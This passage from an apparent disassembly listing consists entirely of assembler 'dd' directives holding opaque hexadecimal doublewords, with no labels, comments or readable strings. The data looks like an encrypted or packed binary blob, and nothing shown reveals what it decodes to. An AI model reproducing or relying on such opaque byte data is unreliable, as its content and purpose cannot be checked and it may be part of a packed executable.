0EBBDE89Bh, 0E9C35D02h, 0C9D453h dd 0EB24F3B9h, 0CB168926h, 591CF759h, 4817DBD6h, 6B299212h dd 976B70F5h, 0AC8C65CDh, 48313E7Ah, 93C5255Ch, 78C2FA4Fh dd 0D05497CAh, 0F3EC6362h, 46FEAD3Fh, 9E4795BFh, 2218B0Fh dd 939B279h, 201744D5h, 214BAEC6h, 295E7EFDh, 44446A1Bh dd 2801F7BDh, 70342CD0h, 14BE3F02h, 5D8E622Dh, 77A7446Fh dd 13B057BCh, 0D6F38F4Ah, 70C28C51h, 25E0B070h, 4DDE2585h dd 5A2D3851h, 2A6FB80Eh, 0E058A196h, 0FE30F381h, 0E1E30A7Fh dd 7CEB803Dh, 0C402E65Ah, 80F11CE9h, 0ED6E1B2Ah, 0D1F73B0Fh dd 4077BFEh, 0E64D7FE1h, 0B801EA21h, 1204C4Fh, 0FD00431h dd 5E647B1Bh, 304C0732h, 8EE26F5h, 0ECE58003h, 0B159B252h dd 0C2A797EAh, 90648Ah, 0D4481CEDh, 0F7394D30h, 6EFDCDDh dd 2F376692h, 0AE41BD6Ah, 7BD7B52h, 7F5FC2A6h, 0CA826F27h dd 0A4735FCDh, 0F70E825h, 4016B0C8h, 0C20429DDh, 54016850h dd 3C6030FFh, 3F24CC19h, 8A80F053h, 58396B41h, 0C2094BE9h dd 0F77C5FA9h, 0D5A4F552h, 4A91E8D6h, 5BC1C7B6h, 6376A768h dd 428F0BEDh, 95EF1138h, 2CBF6734h, 20C62080h, 285CE0B9h dd 9C516D5h, 0B7CF35B5h, 702556FEh, 553A0CCAh, 0A40C3BF0h dd 79040E04h, 24976EE9h, 0F3AD4D52h, 40019A85h, 276FF0DFh dd 9CD286D2h, 16CA384Ah, 167CE909h, 0B0F4987Fh, 542C8C78h dd 38C05047h, 0B14B4F65h, 0BFF50A9Bh, 56D9C985h, 0C694E9E1h dd 0C312582Dh, 4C9BF3C1h, 0F3ADB18Ch, 0DD574201h, 0B9A05060h dd 3A4828A0h, 70C902D2h, 7731016Bh, 62D01113h, 3E505722h dd 9712BBAAh, 450112F1h, 4BBE46A7h, 0CCF9CD2Eh, 0B42729B6h dd 0A6C74DCh, 9FAE61E9h, 8436C52h, 0A240C816h, 2770255Fh dd 38F97168h, 6A9519BCh, 3CBDFB7h, 3561C731h, 0C3A2238h dd 630A993Fh, 6F6C9064h, 8F78001h, 0DA06EFC0h, 0E712F18Ch dd 0F6DEC0B5h, 0FAD6E4DEh, 1CF090EEh, 241FB450h, 59D40B8Ah dd 0F669EFD4h, 59557A67h, 0AC3708FDh, 4306FC31h, 3E681D2Ah dd 925ED993h, 867770E7h, 27AADA8Bh, 97B0BA66h, 0EBC9454Bh dd 0C729D752h, 8EB8128h, 0FF213E34h, 0FEB15769h, 4711FBE6h dd 0F73B6090h, 0AC11FCA4h, 254226B9h, 95280174h, 11797E09h dd 0A75BA058h, 4B5AEB75h, 820BF149h, 2CC37214h, 3989FFEAh dd 1DBDF184h, 0EE815F80h, 7D801F77h, 6855200Ch, 4CA52D5Eh dd 957E5561h dd 0B881EE4Fh, 9C241FA3h, 0DA184F39h, 0EEE916AEh, 98DF56EEh dd 932A68BFh, 9BB01D3Bh, 8065B900h, 4AC53503h, 109758Ah dd 78D8486Fh, 2C1EE952h, 0D95128FCh, 13AB5E20h, 0EF7AC268h dd 0A709A765h, 0CBEAD5B4h, 5B383280h, 0BAFC3477h, 0B5C9074Bh dd 25ABAD04h, 0F7B6AEC2h, 8C7ED316h, 0B5F6B59h, 0F24ADCB2h dd 0DBF9D6BFh, 0BF8FEA92h, 2D166816h, 0BF24D59Bh, 3FF29884h dd 0AAF3192Bh, 2379DDD6h, 5F0DEB89h, 75D95B3Bh, 0A5316F62h dd 84C3FFCAh, 4829DFEBh, 17731203h, 0A5EB2340h, 0A06FA174h dd 15563CDh, 760D59A7h, 2851466Ch, 2D02026Bh, 8462A927h dd 9FB1608Eh, 2579F23Bh, 55A5FF21h, 80C1D0BCh, 0D1E003F2h dd 9A417090h, 0C7721C3Ah, 608105E2h, 0E55FDBAh, 3B88094Bh dd 0ADB5407Ah, 34D32D07h, 0DA506FB1h, 9D15CE68h, 718C9F45h dd 4BE3118Ch, 700B8052h, 810360AEh, 4674C4CDh, 250C1D34h dd 0CEAE47Ah, 0F3352457h, 256BC2EFh, 2698BBDCh, 9D0F12D4h dd 0BD9D000Ah, 684D3656h, 0AE3C852Dh, 71EEF201h, 6B5EF1FDh dd 36C454C0h, 0F70D17CDh, 345B01DBh, 7AA1B6A8h, 0F0C79AD0h dd 2B023055h, 79490C0Ch, 79701F6h, 95ECFA8Bh, 790251BFh dd 901C10EFh, 0C4FB5854h, 0F3BAA9CBh, 296886A0h, 75DEB5E0h dd 0B66B1670h, 777961A3h, 0A396403h, 0A0277464h, 0C24334BAh dd 5F729F5Eh, 0F8272302h, 0DAEE01C2h, 0F68309Ah, 46CB720h dd 1751AF3Dh, 0C98EEA2h, 3F2091F5h, 0C4E65898h, 231572BBh dd 4C9D171Fh, 0F1200A53h, 0D705A306h, 0D0C10B0Eh, 0F83D24B8h dd 4741AE00h, 6132D71h, 61794226h, 4E070514h, 0AE2204EAh dd 2E88AEF1h, 90E84F3Fh, 0E6268C62h, 0B3350097h, 26067A36h dd 8EFE54E9h, 5CE6D9F7h, 0E205F5C1h, 38D12022h, 0EBC3E2C0h dd 897D058Dh, 0E11AE9D0h, 55B43B27h, 377013C2h, 4B6AA0F4h dd 0B5AA6E97h, 0E95029F6h, 0A4D0480Bh, 0EA677F8Eh, 306FB25Eh dd 0AB07BB77h, 0F9D883A3h, 372C9681h, 0E1B58AC6h, 4842C507h dd 0F5611354h, 0C63A6FDFh, 91C0E811h, 5D638AEFh, 4F23B871h dd 89E245FEh, 0D99C08E5h, 24205A13h, 9F213468h, 55495759h dd 55087E1Eh, 2FA342E9h, 0E1277151h, 4B89472Fh, 0AB7632FFh dd 2BA9B634h, 2F8DBE92h, 7596817Bh, 0B72BB93h, 7D6E4261h dd 0F9F7B763h, 51D7FD9Ah, 5D0B8C2Ch, 0EB7FF343h, 816C5827h dd 990D945Fh, 550C06Eh, 424C7D91h, 0C28410ADh, 50C32809h dd 430C555h, 0A1DCE958h, 0B4B63BA2h, 4B67FC5Bh, 174626BFh dd 2FA1B44Bh, 0C59DFD2Bh, 0CAAE7E5Ah, 4BF92DBBh, 6BA9A0D7h dd 2D1D7B2Fh, 537BDCF7h, 0EA83B02Fh, 410E128Ah, 0B3C19167h dd 0C23101CBh, 9C20FDDCh, 0E101EE2Dh, 73C83058h, 1B291378h dd 83A2FEA9h, 6CDD6642h, 0E5055ACFh, 0D5214310h, 0EB25EA94h dd 7601AB09h, 77406269h, 0DDE312FFh, 797D3ED2h, 74BB18D3h dd 5FE3FB75h, 0BE20E984h, 1C57A71Fh, 0B04E5CF6h, 0EA983752h dd 0FC132EFFh, 975B4EE0h, 16C8A3C0h, 5213A9B3h, 555CCB82h dd 595A3E96h, 0C46436E3h, 408CAEB9h, 7BE9FBECh, 0BCB21C93h dd 0EAE24BD7h, 0E9E2C588h, 48277032h, 0DB20F754h, 0C2805812h dd 1B3BA3FCh, 1626B3DAh, 59C80357h, 550831EFh, 3D4B23Ch dd 0FF98B150h, 79F08D2Eh, 0E4733842h, 0E9C2EF19h, 87D10B32h dd 8AC5288Ah, 612B7C2h, 3C2F6457h, 274E59D4h, 5F27C154h dd 0FAC5D481h, 0A3D7F642h, 2C956F2h, 0BB66533Ah, 0DC701C1Eh dd 9213EE3Ch, 93BDD929h, 8E1C186h, 0E9284960h, 0F8565210h dd 20622FBEh, 0C669215Dh, 42944F68h, 4B17B6F0h, 1736ADDEh dd 0CDEAE6ACh, 8CF5E8E2h, 5A9288B9h, 8FDF0AEEh, 0E92605DAh dd 0FE0A9622h, 0F6F0F925h, 0B85FD2EAh, 9AEC225Eh, 0E6C64FFCh dd 0F1211745h, 0C18B7DFDh, 0E66D00FDh, 0CE5B7C6Eh, 5EC4A40Ch dd 34CBBE37h, 35F06525h, 9A592996h, 0D1A1443Fh, 0C90FB5Ah dd 50393E38h, 0B803A47Bh, 68440EEFh, 9B6464B3h, 0CEE2AC13h dd 19A9829Dh, 35A28021h, 5C17053Fh, 0B9207109h, 6C2D5B76h dd 0C905DEF4h, 0CBE2C9F5h, 5D2B0F3Ch, 20AB28E3h, 534FF401h dd 0B98F83BCh, 682838A3h, 0D25DD2h, 2CCDF104h, 1A94277Fh dd 0BF0FAD20h, 47682FC8h, 0DFA8B275h, 6A4AA45h, 5703ED62h dd 6B32866Ch, 7EAD1244h, 5073E7Eh, 0E2432D4Ah, 0CD446C3Dh dd 0C2BDD9EEh, 0E5FA9BFBh, 38E2A5EAh, 0E29F2D02h, 4BD3577Ah dd 7B5B8EA8h, 52BE2900h, 5F476509h, 1EADFC46h, 0D465B502h dd 0F81288Fh, 324522E8h, 798242FEh, 0EBF75FCFh, 42C4C836h dd 0E91012AEh, 4FEBF0D7h, 0D60BCFF8h, 0E26F4720h, 67782EBh dd 30BBDD9Fh, 3AE72ED9h, 9A2330C9h, 0AB963386h, 0F362B07h dd 35B55272h, 0EF7AC5BEh, 0C100DCF6h, 0E94203EAh, 0E8970E66h dd 9F98B1CAh, 61686D98h, 4CE2250Bh, 6B82F55Dh, 9FD911DAh dd 277AC549h, 501A33F5h, 4CAA1ECCh, 0F4D3453Dh, 0D14EA92Eh dd 25C171AAh, 20363C9h, 0F6685B54h, 2D16554Dh, 0C1CC180h dd 11F1B7Ch, 8A856F3h, 18CFC0BFh, 1C2C6DC4h, 5E08032Ch dd 0CC35AC8Dh, 55999333h, 2E03EE5h, 0C9E29A1Dh, 0B25D47C6h dd 52C824C9h, 0C292AEBh, 1072B5E9h, 1F33980h, 0BCD3C396h dd 4C6E12D7h, 0E31758F3h, 1692E6B8h, 688D44B1h, 0F6C7CF5h dd 827DFAC1h, 0D094F75Eh, 60CAE9F1h, 2EB9D9A8h, 3119EE0Fh dd 2A4F89EBh, 170CEF7Ch, 3F80EEFEh, 0EF2F67C1h, 0FF01F785h dd 0C7D54D12h, 0E73549D1h, 811AE82Bh, 54DC2CDEh, 925EFC6Bh dd 0F7E17EF8h, 0D004A0D2h, 1372E402h, 0D0A7E960h, 295927EDh dd 148A98FFh, 58E0222Ch, 1CF3E916h, 13E5D5F4h, 0BCF8730Dh dd 0E2581620h, 8728C8AEh, 48501949h, 49245E87h, 90ABA5C1h dd 0ED0171AFh, 0C60F32F3h, 0FB4EA800h, 0ECEEEC1Bh, 0ABCD307Ah dd 9368E944h, 0EC4C809Ch, 0A173829h, 2D70E8DFh, 5C050438h dd 7C5FF2BEh, 66A2E02Ch, 0E16E43h, 0B3535A24h, 24E3807Ah dd 8C760390h, 64CEB31h, 0D8272858h, 67E9337Eh, 0D1F20806h dd 95BED58Eh, 0B803B723h, 55214BAAh, 6803E0E0h, 6F91BA5Eh dd 0A307D1CDh, 1512583Ch, 0FCD0C940h, 3D8F864h, 753205CAh dd 2BA847A1h, 530AD563h, 72DE801h, 5D11D03Ah, 81BBE912h dd 71572D47h, 0E32111D2h, 0DD23C241h, 0D39DC61Eh, 42F50E58h dd 70CAEE17h, 6F84C23Ch, 0EA01420Ch, 4F08EC10h, 0BAC4C16h dd 840180B5h, 63B8083Dh, 4D07E516h, 1100F6EDh, 5633A677h dd 0B16172E9h, 237C167h, 912FF071h, 489A196h, 1057B00Ch dd 0DD788274h, 135D9B0Ch, 3D0C6A28h, 21985378h, 0C6C18AE9h dd 5B3BC90Ch, 1F052C50h, 0C96B4035h, 0ECF5A307h, 652DF65Ah dd 0A85F5AA9h, 400288ADh, 0BC4CE9D6h, 43415E9Dh, 1F4F94BFh dd 0FD4A41E8h, 0E4582DCEh, 6D674990h, 4B916840h, 1F4CA748h dd 6157C331h, 2CAC8CC0h, 726816CBh, 0B176921Fh, 6B0BA872h dd 7543C032h, 294D765h, 6FD4C1D8h, 0C822A0Eh, 611052E4h dd 8CAA875h, 14020C34h, 0E8808FE9h, 12F02D37h, 0A079B49h dd 25070538h, 0FE5F7822h, 11039A0Ah, 815BDE30h, 0B03B5AF1h dd 90FB66E8h, 5E35E3B8h, 14D101E9h, 9831B243h, 0C2D7E4F0h dd 0DF731EEAh, 3826C93Dh, 5249D179h, 0C12D5583h, 5D60F802h dd 49C209C2h, 5259EEE0h, 31F7B09Dh, 54DFB440h, 0D097709Ah dd 0CD5AC19Eh, 6B18056Bh, 17D69BB3h, 400E001Ah, 315BBF25h dd 0EC0E35E2h, 0E359C850h dd 5F86E9C5h, 5EE36297h, 0BD726577h, 8379C525h, 1AB2DF69h dd 594EEF0Bh, 0E912F1FCh, 0A99AE897h, 344C914Ah, 509366D5h dd 2E6384A8h, 50E33Bh, 0B74B3BFEh, 1642B825h, 2DE4D900h dd 1F96311Ch, 9A63FCE9h, 0B4F2755Eh, 0C9EB633Bh, 27CE1148h dd 0D7190951h, 0BA9D867h, 32BA5012h, 0FA7D89F9h, 0E2009D39h dd 1DEF6E4Ch, 0E403B906h, 121680B6h, 4CD4722h, 108CCF5Bh dd 0B50122D4h, 19E67EFAh, 63CAAE8h, 0EE10E0D1h, 0B77D504Eh dd 16ADF7FCh, 35C8307Eh, 5ACF155h, 2D33ED24h, 7AE7A1E2h dd 0C0504BC0h, 7307BEEEh, 0C2FCD95Eh, 8D06EE13h, 2D282095h dd 17631E02h, 0C1C2CA81h, 0C2203255h, 58550083h, 0DBBF5709h dd 47489A6Dh, 0A5F40254h, 0D2311D65h, 3EEA027Ah, 0DAF77930h dd 4A16E455h, 7863B15Dh, 66E9A1D7h, 0C0011A3Ch, 0C58006E5h dd 2BE8C1BBh, 4F684A28h, 4A82B335h, 9ED869A0h, 0B78E22AAh dd 57D1CC56h, 0B12ECFE5h, 0A4762077h, 0CB413D5Ah, 0F2072273h dd 60FAC17Fh, 0E3BD001Dh, 0A8BF6670h, 569D2F73h, 287C44Eh dd 0D2C96BE9h, 140CEEBBh, 0C0581A52h, 0D6C0F813h, 0A05BF5FBh dd 38AAE513h, 0D3D67FEAh, 4D3E6680h, 0CA695A2Dh, 28680BD6h dd 62865C76h, 0F6092BBCh, 0B681620Ch, 40F2D03h, 0C789CE64h dd 0BE1AFB58h, 0A81C751Ah, 0F1B9AD2Fh, 74F34533h, 45A3EB44h dd 8385FED6h, 92CACBFBh, 34B046ABh, 1129E13Ch, 0E98BF867h dd 7A29FDB3h, 600B827Ch, 6E68F7CAh, 4A273839h, 1DEBD00Ah dd 8E37C042h, 1A0A9BF2h, 0BD527F9h, 205A45A2h, 0E89E5F87h dd 1E87C3A8h, 71D2B7C9h, 0F916F5BFh, 0AD49BEFAh, 114906ADh dd 9D89699h, 41D33E9Bh, 3A17CE56h, 3DBB6F53h, 9B82A3Fh dd 0BD482A5h, 752DFCE8h, 73897A0Eh, 253ED55Dh, 66E08049h dd 90676FBEh, 5EF03C2Fh, 47712502h, 24F6AEE9h, 0D2C28006h dd 0CDEC5B06h, 12FDC2DDh, 275B579Bh, 31178469h, 79F8B9A4h dd 832E275Fh, 8E99F122h, 52F2135Eh, 5E2929D2h, 0EE48E9C1h dd 10C7A643h, 0D679CF31h, 0E18181AFh, 2B3964F2h, 24EC7903h dd 0C287B418h, 0E0FCCD74h, 5E11DE5Fh, 5CA438BFh, 90EA292Dh dd 0A4647B54h, 255A9FD3h, 0C24B8A9Eh, 69F5D4E4h, 0F0C0B54h dd 0BC237DBh, 38D40569h, 0C827ACF9h, 9E303CCBh, 0AA9C9254h dd 68517220h, 5B540B43h, 27DF5912h, 231B14D7h, 0C14047C4h dd 0BF92CB64h, 993501CDh, 6E033032h, 0AD2D3C65h, 0C620B86Fh dd 3F4763EEh, 0EB4C5AD7h, 4D5DBA00h, 0B8504727h, 6C387402h dd 4CC729D8h, 3BDEB519h, 370E9824h, 9BA9D680h, 0E23E0841h dd 92E7C048h, 2F61297Eh, 0BE43B4E9h, 0FD1984A4h, 0EB801EF1h dd 0B8B85A16h, 76F09072h, 9DFAB7CDh, 5817BC5Fh, 9627C5E6h dd 0D7501F09h, 664B42F0h, 170186E3h, 210E9078h, 0D7BA30E8h dd 0E4947E97h, 8091E064h, 0C83CCB39h, 0DD2C1C0Bh, 8304D80Eh dd 2D9FD6E9h, 9A544A38h, 0D0A3EA2Dh, 2EF506F8h, 135B1AE7h dd 1ED40404h, 25817BB7h, 3CA5C78Ah, 4D2400D5h, 0FA7E8571h dd 0C9836763h, 2DFB73D8h, 14F70C13h, 4F7EDAB6h, 4CC91D85h dd 500A9BD4h, 85909C51h, 5A06680Fh, 48667C20h, 0C464B75h dd 5D57556Ah, 9FF58104h, 6881A95Ch, 9A24C127h, 0DABA1EF6h dd 48953EDh, 0A3471759h, 0C53C106Bh, 4A25523Fh, 0BAC69F8h dd 0CCC18100h, 10EDF0Ch, 83D090F9h, 0E6FDA908h, 31CB4B2Ch dd 3A2CBDB9h, 6FC471F9h, 92F0B8EEh, 0E97428AAh, 19793D2Fh dd 0C6E6FD51h, 0BD5D4A66h, 0B082E4A0h, 0C898575Dh, 4C99A4DBh dd 7D5468E2h, 0BD10067Bh, 0A15C5028h, 0C46B603Fh, 0B73CFE80h dd 75D02BE9h, 0DD010B0Bh, 0EC6C025Eh, 0C93B146Bh, 305CD51h dd 0C22AC15Ch, 5D0BF1FAh, 51032416h, 4C14C4B9h, 14386015h dd 1F6252D6h, 0C5EDB1BFh, 90590C42h, 81C049C9h, 0F866FAF7h dd 0AD30F445h, 0EB2B1314h, 176E016Fh, 604D4C23h, 2A1294ADh dd 120D70C7h, 0BD2F3034h, 91BC168Dh, 0F0A49EFDh, 13164904h dd 17FD46ACh, 0E4114E34h, 7105E3E7h, 5401194Ah, 0CD06BA8h dd 0ACB1786Ah, 0E7542530h, 40F341C3h, 3F53801Bh, 61B1F1BBh dd 220CBF1Ch, 68870517h, 4C2048FAh, 0C93B132Eh, 0FAD0F060h dd 8BE15D4Ch, 0EBA07F47h, 2E0459E6h, 49CED8F3h, 5B6B3F13h dd 0A307AEB8h, 6F6D0D69h, 0EB835E23h, 160E3273h, 0CF6AFD17h dd 4C70E2CBh, 0F785C1Fh, 3AE363E3h, 0BA92E910h, 1DD6225Dh dd 8B0D54D5h, 0D48F434h, 6191C83Dh, 0D9827DA7h, 500999C2h dd 0B7C027B1h, 1725626Ch, 92D7B54h, 9EF5B3D2h, 1FEDBD66h dd 0A7FBE08h, 25A05659h, 0CD28B77Eh, 3F53B820h, 0A6166BBFh dd 9C010115h, 0D836AB3Fh, 0C702B8F7h, 7205CB5Ch, 9700553Eh dd 44377E16h, 2DF80114h, 11A17507h, 0DA90615Fh, 50177A46h dd 275221E9h, 66164D04h, 7DCCBB00h, 0B8A040CEh, 5A2DB60Ch dd 92ABD6A4h, 530B4929h, 96FE557h, 58E6AADAh, 4E551900h dd 0B1C3B92Dh, 29690BA2h, 0D0015FF9h, 2CD5E906h, 895928ADh dd 0FC20BB41h, 0EDC45E0Bh, 98F0A181h, 0F187FB04h, 0D508B982h dd 49D0D832h, 0D7D2062Dh, 0EAD282AFh, 5B4C2561h, 9D6D0105h dd 7182E548h, 3243D859h, 50E00C4Eh, 0C419B524h, 59389255h dd 0B318E9F3h, 1FB166EBh, 0D49F5298h, 4579811Eh, 0BC53C043h dd 0D47F27E0h, 87D45ABFh, 3BC730B9h, 2516A6F1h, 4B4074B2h dd 4A1650E1h, 15050397h, 0CD847288h, 0DEBE6C0h, 0A05D5E44h dd 13FC62CAh, 8681274Eh, 0F93EC831h, 0BBA05FE9h, 0F59DAB53h dd 0AD509B81h, 4BEF8000h, 49792FEh, 0C6BB5DBAh, 4A2FB6D8h dd 778A1AE3h, 1D82893Ah, 0E7D5B34Dh, 84792DECh, 9C16D7C9h dd 64DEB8A8h, 2904249Bh, 0A1BA4C65h, 0C2433FCFh, 0BF1D2DFDh dd 7EA0A9Fh, 87A1E904h, 6E19B58Bh, 6FC2E728h, 41967AF0h dd 8664941Ch, 0D5F61BC7h, 0BAE4E50Bh, 81A4404Eh, 4F32E207h dd 0CA606C1Ch, 98C02E72h, 6DC21F5Ah, 29DB451Fh, 630482D1h dd 0FDCC6C76h, 52E46205h, 9C752333h, 39C9B8D9h, 9D4BC40Ah dd 0B69920DBh, 0F82E4E82h, 33C751FEh, 4B7D68F8h, 0C064EA3Dh dd 6AE1F30Bh, 3C608272h, 0C764FDACh, 0BDBE66F0h, 3F5EB900h dd 69BF676Fh, 8C800B62h, 77990890h, 0EB9BE917h, 13FC7FCCh dd 0F936F039h, 8CEE1FD6h, 5F69C905h, 949DFAFDh, 0DD80CDA8h dd 5758A534h, 8897B0F8h, 0C840ED61h, 0B8039626h, 669E4028h dd 0DCDDF739h, 0D1861EBEh, 0D5144D19h, 408BDDF6h, 77E3C0F5h dd 31ED832Eh, 3BA7EDE2h, 0D7068097h, 9C069D0Dh, 5A486355h dd 0AF081262h, 0E1F781DDh, 0BB8199B5h, 0E77C51C7h, 1CCE603Bh dd 1F6C5B81h, 1216A6A4h, 886D452Ch, 0C9D563Bh, 0C26962A8h dd 0C353B50Bh, 71D68A12h, 5E370820h, 2255D987h, 2CA0CBF4h dd 17459F13h, 0C1EF94D6h, 0A5AD22B4h, 494D5C53h, 0B7586989h dd 10995248h, 800F4039h, 0F9E40CC3h, 130BA2A9h, 0D6C9BD55h dd 92B3C23Eh, 405BA9A6h, 9D805120h, 49F3EE0h, 76012025h dd 0EA210C74h, 0BF5E5032h, 37770440h, 6801042Dh, 908DACAh dd 823159h, 20B44F4h, 60D68768h, 27395BC8h, 4AFE37FDh dd 1A569430h, 0F12F4C2Eh, 0C1AB17Ch, 0C169F526h, 0DCB2700Dh dd 0E8E78B05h, 54F1C54h, 1E94552h, 148D24D0h, 0B7118D70h dd 7DD04BBBh, 5A833EE4h, 5E54D21Eh, 0C82DF58h, 366122FFh dd 0C4F39B6Fh, 8B3356EBh, 0E907628Ch, 0A078D094h, 0C031BE4Eh dd 66E3CF93h, 68C16438h dd 82841805h, 0E27BE935h, 79E9972Bh, 0CBB04497h, 81B3109Dh dd 591243EFh, 1CD87338h, 0F34AC3E9h, 58C4F2E8h, 0A3AA347h dd 6D3CCF68h, 7510DA42h, 1551DE18h, 5B6AFE16h, 0E3CD8CE1h dd 0CEA777CEh, 8EE94131h, 6EEB4999h, 0C9C652C4h, 0F882059Ah dd 0FE21C9B2h, 1FCD5504h, 6C05E210h, 0AF663F08h, 6908D650h dd 68AAFF0Ch, 53DB1742h, 0B0BCA93Ah, 0C63B96E9h, 0F294D10Bh dd 58E58807h, 0AF5CDFEh, 397E1EB8h, 0B40481E3h, 8174063Ch dd 2103FE02h, 0C19760CFh, 8B8F79BDh, 0F3C45ACFh, 13EB9A1h dd 0F84C7C31h, 2D75985Fh, 0F0D19B79h, 0E9055CC0h, 7DCD052Eh dd 12DC801h, 3F685907h, 62A97335h, 6AD1D4Ah, 84E6629h dd 29FF39BBh, 7B6C2559h, 0DF70086Ch, 79E7823Eh, 5E63464Dh dd 8A772D87h, 0BC011BECh, 5FFD2968h, 9F0CE9C4h, 38888988h dd 2B19360Bh, 462D9740h, 2965ED16h, 41EB8BC4h, 6C456AA4h dd 29452A1Dh, 8E5397CBh, 50F91BAh, 0E4CBAC73h, 0A749F42Dh dd 0FD258CD6h, 0DF0B4F96h, 8F01FB62h, 0D66F20AFh, 9BA5245h dd 6DCC6CEEh, 358A8475h, 85F92394h, 2660E092h, 54124709h dd 20E85746h, 0E606814Eh, 42B35D23h, 6FC6050Eh, 0FE379935h dd 18B08A91h, 433556EDh, 1B8C1282h, 0C4E00CD3h, 0FB306488h dd 54E43A3Bh, 0E5244ADEh, 5F080201h, 0C3BE4EDDh, 7B4D4AEEh dd 0D203AFEDh, 0CC16CD22h, 57156480h, 0F0115A31h, 0D8D756C2h dd 95B2E0Eh, 4255D4E8h, 77091513h, 8916FDE0h, 5BD9ACA8h dd 3685E0Bh, 2074C663h, 5F7E4F2Bh, 53369D2Fh, 234AF83h dd 7F740B95h, 1D38ADC6h, 65EE5BA3h, 0C3A6EEB9h, 0F37C21D3h dd 0D55D0271h, 37D8D5C3h, 64824DADh, 816576E3h, 6E9749B9h dd 40A0F110h, 3C4F3BBDh, 0F7E3CDC2h, 65FDEB42h, 7E98A755h dd 469D4481h, 31F495DFh, 98871092h, 0E6A202BBh, 0C33000E8h dd 435A6E68h, 5C28C8F5h, 2F26E15Ah, 0CDDF88BCh, 0D067C5A8h dd 0DD3D272Ch, 0F4429583h, 0D10402DFh, 0D512E368h, 0EB76BC36h dd 697BF9B7h, 2A7F6E77h, 0A2A26DA7h, 8C9C57DFh, 0A50BE35h dd 9E3387A8h, 34E9E153h, 0D4442F68h, 9610E442h, 115FF004h dd 2214C00Bh, 909E575h, 0C088E947h, 0A0EA8391h, 80F5F499h dd 63649F68h, 34B1646Fh, 82FF253Ah, 68019036h, 8A771AD8h dd 0FB016458h, 0F722402Ch, 0D37A30D0h, 0F6DDBF25h, 0A45C2DABh dd 9ED1555Ah, 9721DFCBh, 2B44BB68h, 41E99B60h, 0A4C6B7D5h dd 0B62F1A25h, 0E4E96258h, 0B8E401D8h, 144E020Bh, 402A0B0Fh dd 17EEBD6Dh, 57604AA0h, 2974BC93h, 9220D655h, 0FAD3424Eh dd 0ACAAE44Eh, 5402E4EEh, 2125668h, 0D674C8E9h, 58C60901h dd 5860D6F7h, 20CCB7DBh, 0BC669800h, 0A6FEB976h, 29D31363h dd 0C93770F1h, 7D2778E1h, 8E5F7C25h, 820B871Dh, 2F987CD8h dd 5F81DA7Dh, 0CED4330h, 5DB932ACh, 6905D0FAh, 0C5092591h dd 73B700FAh, 0E9359D66h, 0EACF0E25h, 0D8128B19h, 0BF84E02h dd 0F7004AE4h, 0BEE3B7E8h, 25925248h, 0E92DF4B4h, 590943F1h dd 0DD90FD01h, 104045E9h, 0C4B45F68h, 576DAB45h, 4E1A7D5Ch dd 78BC33B2h, 81277C80h, 61A2F502h, 40455C36h, 0F1D7ED6h dd 60E940E1h, 1177719Ah, 0C564E8AEh, 53BD9864h, 0D1103302h dd 5B51131Ch, 7C5D4D43h, 28C19557h, 34F04C3Ch, 53E91855h dd 0FBA2ADEh, 0BBBF3928h, 40DBFE2Dh, 62C5689Fh, 0EB8E5566h dd 0FD55445Ah, 42F86EA5h, 0BCF05392h, 13160065h, 47E91ED8h dd 0F979AC4h, 28A16DE6h, 240CD75Eh, 95D88292h, 95521CDDh dd 0DCEA6DF6h, 0BB667BB0h, 8AE8FF34h, 0A3C89F65h, 0E52468E1h dd 0B462AB32h, 9F605FDFh, 4860EC80h, 0E3281406h, 517CE758h dd 0D9689404h, 0B2D08C7Dh, 494E170h, 74CD7E0Ch, 0E48AFD5Eh dd 0E957CE29h, 141F7AC0h, 8D8C4550h, 41B82402h, 0E53382E9h dd 54F63DB7h, 0B4EAEB26h, 30F34B06h, 0BD34FE88h, 0F06620A5h dd 362C7B0h, 45B44D1Dh, 0F3210BE3h, 3AFAB707h, 73706987h dd 0E754CA02h, 0DDEFE930h, 9E570A09h, 3AE91A72h, 0BA8020B2h dd 0D4A0C52h, 0D86277F6h, 0D543B720h, 0BAC0436Eh, 0E9FC8850h dd 0D0D65B63h, 1243A1D5h, 1AFB734Ch, 0FC316FE6h, 8F4D0811h dd 0D5B60725h, 0F4AFA595h, 96970C74h, 5B54519Dh, 26E9068Bh dd 990D6A20h, 312EA920h, 2FBFAB50h, 5F484166h, 84C028AFh dd 2216DFBDh, 4BA95EC1h, 0B028278h, 1C605753h, 59B5E874h dd 0AFA5BC92h, 0E3C1E002h, 46939DE8h, 0F032EA25h, 0F04B61FEh dd 61CC3C47h, 5E97E884h, 0D865A527h, 87997D1h, 0C3A46007h dd 1F6175D9h, 5D806409h, 17F3313Ch, 78DC4C7Ah, 2D45B65Ch dd 9A7B13FEh, 2769E4E7h, 0C310394Fh, 6880B0E3h, 91FB9B7h dd 0EC11C6A2h, 0B1B36BF9h, 0D305AA48h, 0C76B8D2Eh, 58FF7187h dd 5CC46A97h, 2CEF2FC5h, 0FC2E684Ah, 585A127Ah, 99F1B74Fh dd 75FE8F71h, 0ED62BBD9h, 5252DC82h, 9B5CE240h, 47C87F82h dd 0C03E0B0Dh, 0CF899632h, 2D577853h, 0FC20292Ch, 353F6B3h dd 14D0BD55h, 82FD6EA8h, 6CDE21A1h, 986B70CBh, 59890E61h dd 0E9C07023h, 514E67AEh, 0B17CFEB5h, 52948296h, 7DF7AFh dd 0A02D37BEh, 0C5609D22h, 0D180B59Dh, 1D4CA5EDh, 0FACC5990h dd 29EC7CC0h, 0FA12EE58h, 87D79A20h, 40B790FEh, 382D6819h dd 0CA9C628h, 6D7B1244h, 8496EBCEh, 0E0ECC693h, 0BF68FF4Ah dd 298D4080h, 0EBD2F762h, 4F44F486h, 450F3806h, 6C13F307h dd 27B2253Eh, 6012D6A9h, 6F46038Eh, 39B24AFAh, 22AF99Fh dd 2BE275ACh, 896E6057h, 5C26CBF2h, 728288C8h, 9B7A923Dh dd 0AC8DB2EAh, 2AE6D9BEh, 0C68BCAF8h, 6682D029h, 5D079C68h dd 4E61A3C2h, 1E5E99DBh, 51670D1h, 9360ACE9h, 2DB0B832h dd 292B7A4Ch, 267AE0Bh, 17564F1Eh, 9FDBD8F7h, 50EFAD60h dd 296E9717h, 4C94A1BCh, 2DCA1A2Ah, 0E06601C6h, 0D68A447Eh dd 0D8178890h, 8B3A1924h, 86A62BBBh, 417D7BAh, 0F97A46E7h dd 21EC068h, 485B615Ah, 0D36E77C1h, 41047711h, 0F0CB0987h dd 4B81BF2Ch, 208F282h, 93D8FE40h, 3BE95613h, 987ABBA1h dd 0BE617069h, 5C0A6816h, 0A6C1B46Ch, 831FB448h, 